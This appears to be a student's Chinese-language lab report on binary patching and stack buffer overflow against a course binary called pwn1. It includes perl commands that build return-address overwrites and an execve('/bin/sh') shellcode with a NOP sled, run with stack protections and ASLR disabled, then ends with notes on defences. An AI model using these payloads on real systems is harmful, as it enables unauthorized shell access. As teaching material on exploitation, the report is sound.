1.逆向及Bof基础实践说明
1.1 实践目标
（1）对象：pwn1（linux可执行文件）
-该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
（2）目标：使程序执行另一个代码片段：getshell
（3）内容：
-手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
-利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
-注入一个自己制作的shellcode并运行这段shellcode。
（4）现实情况中的攻击目标:
-运行原本不可访问的代码片段
-强行修改程序执行流
-注入运行任意代码
1.2 基础知识
（1）熟悉Linux基本操作
-能看懂常用指令,如管道（|），输入、输出重定向（>）等。
（2）理解Bof的原理
-能看得懂汇编、机器指令、EIP、指令地址。
（3）会使用gdb,vim
2.直接修改程序机器指令，改变程序执行流程
注：①知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
②学习目标：理解可执行文件与机器指令
③进阶：掌握ELF文件格式，掌握动态技术
2.1 反汇编查看函数地址
（1）对pwn1文件进行反汇编，会得到如下结果
（2）图中080484b5中的指令为call 8048491（按空格可看到之后的机器码，之前看不到此行）
①是说这条指令将调用位于地址8048491处的foo函数；
②其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
③本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
2.2 在vim中修改地址，反汇编查看结果
（1）main函数调用foo，对应机器指令为“e8 d7ffffff”，
-那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
-用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
（2）首先发现直接使用vim打开pwn1文件是乱码
（3）接下来执行如下操作
（4）以下操作是在vim内
1.按ESC键
2.输入以下，将显示模式切换为16进制模式：:%!xxd
3.查找要修改的内容：/e8d7(e8与d7间有空格）
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式::%!xxd -r
7.存盘退出vim :wq
（5）修改成功后再使用反汇编查看call指令是否正确调用getShell（objdump -d pwn2 | more）
（6）之后运行改后的代码，会得到shell提示符$（在root模式下运行为#）
3.通过构造输入参数，造成BOF攻击，改变程序执行流
注：①知识要求：堆栈结构，返回地址
②学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
③进阶：掌握ELF文件格式，掌握动态技术
3.1反汇编，了解程序的基本功能
（1）这里读入字符串，但系统只预留了32字节的缓冲区
（2）下图的call调用foo,同时在堆栈上压上返回地址值:80484ba
3.2确认输入字符串哪几个字符会覆盖到返回地址
（1）用gdb pwn1调试程序，输入有规律的字符串如1111111122222222333333334444444412345678发生段错误产生溢出
（2）使用info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址，接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。
3.3 确认用什么值来覆盖返回地址
---我们将getShell的地址0x0804847d把后面的数值替换，即是输入11111111222222223333333344444444\x7d\x84\x04\x08
3.4 构造输入字符串
（1）由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
（2）于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。然后使用xxd input查看input文件的内容是否如预期。
（3）通过管道符|，将input文件作为pwn1的输入。（(cat input; cat) | ./pwn1）
4. 注入Shellcode并执行
4.1 准备一段Shellcode
（1）shellcode就是一段机器指令（code）
-通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
-在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
（2）实验采用老师推荐的shellcode。如下：
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.2 准备工作
（1）先利用apt-get install execstack命令安装execstack软件包（用root模式）
（2）然后执行如下命令（有些指令具有权限，最好在root模式下进行）
4.3.1 构造要注入的payload
（1）Linux下有两种基本构造攻击buf的方法：
-retaddr+nop+shellcode
-nop+shellcode+retaddr。
（2）因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
（3）简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
（4）我们这个buf够放这个shellcode了
（5）结构为：nops+shellcode+retaddr。
-nop一为是了填充，二是作为“着陆区/滑行区”。
-我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
（6）①然后我们使用
perl -e 'print
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"'
input_shellcode
②再打开一个终端注入这段攻击buf（(cat input_shellcode;cat) | ./pwn1）
（7）再开另外一个终端，用gdb来调试pwn1这个进程。
1.找到pwn1的进程号是：1461
2.启动gdb调试这个进程（一定注意进程号）
3.通过设置断点，来查看注入buf的内存地址
4.将返回地址改为0xffffd380
5.查找原因。同上面步骤运行，gdb调试。
6.看起来buf没什么问题，发现有问题，应该换一种方法。。
4.3.2 构造要注入的payload（Restart）
（1）结构为：anything+retaddr+nops+shellcode。
（2）看到01020304了，就是返回地址的位置。shellcode就挨着，所以地址是0xffffd380
（3）最后输入自己找到的地址的位置，注入之后就成功了。（此处虚拟机有点问题没有显示出来，显示为非法指令）
（4）以上实践是在非常简单的一个预设条件下完成的：
--关闭堆栈保护（gcc -fno-stack-protector）
--关闭堆栈执行保护(execstack -s)
--关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
--在x32环境下
--在Linux实践环境
4.5 结合nc模拟远程攻击
（1）在一台机器上的实验结果
（2）两台机器上的实验由于设备原因未完成
*5. Bof攻击防御技术
5.1. 从防止注入的角度。
在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。
5.2 注入入了也不让运行
5.3 增加shellcode的构造难度
shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
注：/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制（address space layout randomization)，有以下三种情况：
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。
6 感想与遇到的问题
1.老师的实验指导书中使用/e8d7查找内容，我使用16进制打开的vim中无法使用这个关键字查找到制定内容，我则使用/d7ff找到了我要修改的内容；
2.构造要注入的payload与老师不同出现的问题：返回地址一直按实验指导书上那么输，结果一直是错的，最后发现及时改正；
3.实验中用到了许多以前学过的东西，也有好多不知道的知识，学习一定要学会变通，否则就是原地打转。
7.什么是漏洞？漏洞有什么危害？
1.漏洞就是计算机的一些设置不当或者一些安全缺陷（软硬件），容易被病毒或黑客攻击的脆弱部位。
2.攻击者可以通过漏洞受害者的进行攻击，可能会导致受害者财产损失，隐私泄露等问题。如果攻击对象是国家或保密单位，就会引起一系列严重的问题，难以解决。
